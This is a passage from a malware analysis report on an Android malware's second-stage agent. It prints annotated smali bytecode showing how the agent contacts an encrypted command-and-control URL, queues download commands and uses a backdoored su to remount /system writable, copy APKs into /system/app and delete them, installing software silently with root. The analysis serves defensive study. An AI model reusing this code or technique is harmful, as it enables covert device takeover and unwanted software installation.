invoke-virtual {v2}, Ljava/lang/StringBuilder;- >tostring()ljava/lang/string; invoke-static {v1, v2}, Landroid/util/Log;- >d(ljava/lang/string;ljava/lang/string;)i :try_end_1e.catchall {:try_start_6.. :try_end_1e} :catchall_88 // Switch on the "Command" number packed-switch p1, :pswitch_data_c8 move-object v0, v4 :goto_22 // Check if command was properly built if-nez v0, :cond_35 move v0, v6
:goto_25 monitor-exit p0 // Exit return v0 :pswitch_27 :try_start_27 // Create a Command type "1" new-instance v1, Lcom/android/providers/downloadsmanager/a/h; invoke-direct {v1, v0, p2}, Lcom/android/providers/downloadsmanager/a/h;- ><init>(landroid/content/context;landroid/content/contentvalues;) V move-object v0, v1 // Go verify that the command was successfully made goto :goto_22 :pswitch_2e // Create a Command type "2" new-instance v1, Lcom/android/providers/downloadsmanager/a/f; invoke-direct {v1, v0, p2}, Lcom/android/providers/downloadsmanager/a/f;- ><init>(landroid/content/context;landroid/content/contentvalues;) V move-object v0, v1 // Go verify that the command was successfully made goto :goto_22 :cond_35 // Add command to ArrayList iget-object v1, p0, >b:ljava/util/arraylist; invoke-virtual {v1, v0}, Ljava/util/ArrayList;- >add(ljava/lang/object;)z :cond_3a // Check size of ArrayList iget-object v0, p0, >b:ljava/util/arraylist; invoke-virtual {v0}, Ljava/util/ArrayList;->size()I move-result v0 // Check if all commands are done (removed) if-gtz v0, :cond_44 move v0, v5 goto :goto_25 :cond_44 // Get a command off of the ArrayList iget-object v0, p0, >b:ljava/util/arraylist; const/4 v1, 0x0 invoke-virtual {v0, v1}, Ljava/util/ArrayList;- >remove(i)ljava/lang/object; move-result-object v0 // Holds the removed Command check-cast v0, Lcom/android/providers/downloadsmanager/a/i; iput-object v0, p0, >g:lcom/android/providers/downloadsmanager/a/i; // Get the crypted URL
sget-object v0, >a:[b invoke-virtual {v0}, [B->clone()Ljava/lang/Object; move-result-object v0 check-cast v0, [B // Decrypt URL invoke-static {v0}, Lcom/android/providers/downloadsmanager/a;->a([B)V iget-object v1, p0, >c:lcom/android/providers/downloadsmanager/a/a; new-instance v2, Lcom/android/providers/downloadsmanager/a/d; // Get the command we previously stored iget-object v3, p0, >g:lcom/android/providers/downloadsmanager/a/i; // Get the type of "Command" (1 or 2) invoke-virtual {v3}, Lcom/android/providers/downloadsmanager/a/i;->a()I move-result v3 iget-object v4, p0, >g:lcom/android/providers/downloadsmanager/a/i; iget-object v4, v4, Lcom/android/providers/downloadsmanager/a/i;- >a:landroid/content/contentvalues; // Insert the data into a XML parsing object invoke-direct {v2, v3, v4}, Lcom/android/providers/downloadsmanager/a/d;- ><init>(ilandroid/content/contentvalues;)v // Generate request and save from XML to string invoke-virtual {v2}, Lcom/android/providers/downloadsmanager/a/d;->a()[B // Make a string from the URL bytes new-instance v3, Ljava/lang/String; invoke-direct {v3, v0}, Ljava/lang/String;-><init>([B)V // Post request to URL invoke-virtual {v1, v2, v3}, Lcom/android/providers/downloadsmanager/a/a;- >a([bljava/lang/string;)i iget-object v0, p0, >c:lcom/android/providers/downloadsmanager/a/a; // Get response buffer invoke-virtual {v0}, Lcom/android/providers/downloadsmanager/a/a;->a()[B move-result-object v0 // Make sure response is not null if-nez v0, :cond_8b // If it is empty, exit move v0, v6 :goto_80 if-eq v0, v5, :cond_3a // Get "Commands" arraylist iget-object v1, p0, >b:ljava/util/arraylist;
// Clear commands and exit invoke-virtual {v1}, Ljava/util/ArrayList;->clear()V :try_end_87.catchall {:try_start_27.. :try_end_87} :catchall_88 goto :goto_25 :catchall_88 move-exception v0 monitor-exit p0 throw v0 // Process the response :cond_8b :try_start_8b // Build a string from the response new-instance v1, Ljava/lang/String; invoke-static {v0}, Lcom/android/providers/downloadsmanager/a;->a([B)V invoke-direct {v1, v0}, Ljava/lang/String;-><init>([B)V // Load string response into new-instance v0, Lcom/android/providers/downloadsmanager/a/c; invoke-direct {v0}, Lcom/android/providers/downloadsmanager/a/c;-><init>()V // Validate data in response is good invoke-virtual {v0, v1}, Lcom/android/providers/downloadsmanager/a/c;- >a(ljava/lang/string;)z move-result v1 // If response is good, then use it at cond_a1 if-nez v1, :cond_a1 // Else goto_80 const/16 v0, 0x10 goto :goto_80 :cond_a1 // Get DownloadInfo vector (contains DownloadUrl and PackageName) invoke-virtual {v0}, Lcom/android/providers/downloadsmanager/a/c;- >a()ljava/util/vector; move-result-object v1 // Save DownloadInfo into internal sqlite3 "apps" table invoke-direct {p0, v1}, >a(ljava/util/vector;)v // Get "NextConnectTime" invoke-virtual {v0}, Lcom/android/providers/downloadsmanager/a/c;- >b()ljava/lang/string; move-result-object v0 // Verify next connect isn't empty invoke-static {v0}, Landroid/text/TextUtils;- >isempty(ljava/lang/charsequence;)z move-result v1 if-nez v1, :cond_bc // Create a new shared preference object and initialize it with the current context new-instance v1, Lcom/android/providers/downloadsmanager/b; iget-object v2, p0, >d:landroid/content/context; invoke-direct {v1, v2},
Lcom/android/providers/downloadsmanager/b;- ><init>(landroid/content/context;)v // Save the NextConnectTime value to the shared preferences invoke-virtual {v1, v0}, Lcom/android/providers/downloadsmanager/b;- >a(ljava/lang/string;)v :cond_bc iget-object v0, p0, >g:lcom/android/providers/downloadsmanager/a/i; // Get the Content values and remove the "Command" we just executed iget-object v0, v0, Lcom/android/providers/downloadsmanager/a/i;- >a:landroid/content/contentvalues; const-string v1, "Command" invoke-virtual {v0, v1}, Landroid/content/ContentValues;- >remove(ljava/lang/string;)v :try_end_c5.catchall {:try_start_8b.. :try_end_c5} :catchall_88 move v0, v5 goto :goto_80 nop :pswitch_data_c8.packed-switch 0x1 :pswitch_27 :pswitch_2e.end packed-switch.end method We previously mentioned receipt of DOWNLOAD_COMPLETE Intents as an entry point. We have already outlined that the Intent is caught and passed onto the handler. That handler verifies that the application was pending for download, and (if not) ignores supplied data. When an expected download has completed, it attempts to install the software and change the status of the application in the SQL database. The install method is similar to the one used in payload one -- a silent install to the /system/app directory with the addition that it removes the downloaded APK from its temporary download location. The silent install is performed by remounting the /system directory writable, then cat ing the package into the /system/app directory. From there, it s picked up by the package manager and installed automatically without prompting the user or notifying them of a new application. Once downloaded and copied, the downloaded file is removed. The interesting code from the handler, found in com.android.providers.downloadsmanager.a.e is highlighted below: // If download is finished if-nez v2, :cond_ec // Build the location to copy it to "/system/app/" + packagename new-instance v2, Ljava/lang/StringBuilder; const-string v5, "/system/app/" invoke-direct {v2, v5}, Ljava/lang/StringBuilder;- ><init>(ljava/lang/string;)v const/16 v5, 0x2f invoke-virtual {v4, v5}, Ljava/lang/String;->lastIndexOf(I)I move-result v5 add-int/lit8 v5, v5, 0x1
invoke-virtual {v4, v5}, Ljava/lang/String;- >substring(i)ljava/lang/string; invoke-virtual {v2, v5}, Ljava/lang/StringBuilder;- >append(ljava/lang/string;)ljava/lang/stringbuilder; invoke-virtual {v2}, Ljava/lang/StringBuilder;- >tostring()ljava/lang/string; // Call the backdoor'ed su and remount the system as writeable const-string v5, "profile" const-string v5, "mount -o remount rw system\nexit\n" invoke-static {v10, v5}, Lcom/android/providers/downloadsmanager/a;- >a(ljava/lang/string;ljava/lang/string;)ljava/lang/string; // Call the backdoor'ed su to cat the package (copy) into /system/app const-string v5, "profile" new-instance v5, Ljava/lang/StringBuilder; const-string v6, "cat " invoke-direct {v5, v6}, Ljava/lang/StringBuilder;- ><init>(ljava/lang/string;)v invoke-virtual {v5, v4}, Ljava/lang/StringBuilder;- >append(ljava/lang/string;)ljava/lang/stringbuilder; // Pipe command const-string v6, " > " invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;- >append(ljava/lang/string;)ljava/lang/stringbuilder; invoke-virtual {v5, v2}, Ljava/lang/StringBuilder;- >append(ljava/lang/string;)ljava/lang/stringbuilder; // Exit the shell const-string v5, "\nexit\n" invoke-virtual {v2, v11}, Ljava/lang/StringBuilder;- >append(ljava/lang/string;)ljava/lang/stringbuilder; invoke-virtual {v2}, Ljava/lang/StringBuilder;- >tostring()ljava/lang/string; // Execute the shell commands made before invoke-static {v10, v2}, Lcom/android/providers/downloadsmanager/a;- >a(ljava/lang/string;ljava/lang/string;)ljava/lang/string; :cond_ec // Call the backdoor'ed su to remove the package const-string v2, "profile" new-instance v2, Ljava/lang/StringBuilder; const-string v5, "rm " invoke-direct {v2, v5}, Ljava/lang/StringBuilder;- ><init>(ljava/lang/string;)v invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;- >append(ljava/lang/string;)ljava/lang/stringbuilder; // exit the shell const-string v4, "\nexit\n" invoke-virtual {v2, v11}, Ljava/lang/StringBuilder;-
>append(ljava/lang/string;)ljava/lang/stringbuilder; invoke-virtual {v2}, Ljava/lang/StringBuilder;- >tostring()ljava/lang/string; // Execute the shell commands it just made invoke-static {v10, v2}, Lcom/android/providers/downloadsmanager/a;- >a(ljava/lang/string;ljava/lang/string;)ljava/lang/string; Conclusion After analyzing the entire package, it s clear that the second stage is capable of downloading and installing anything that the author(s) choose to serve it. The initial payload escalates privileges and installs this agent. The agent periodically checks in with its C&C and updates installed components as instructed. Though we have not observed third stage payloads, possibilities are effectively limitless. Coupled with the setuid back door, we have a powerful zombie agent that can install any payload silently and execute code with root privileges at will.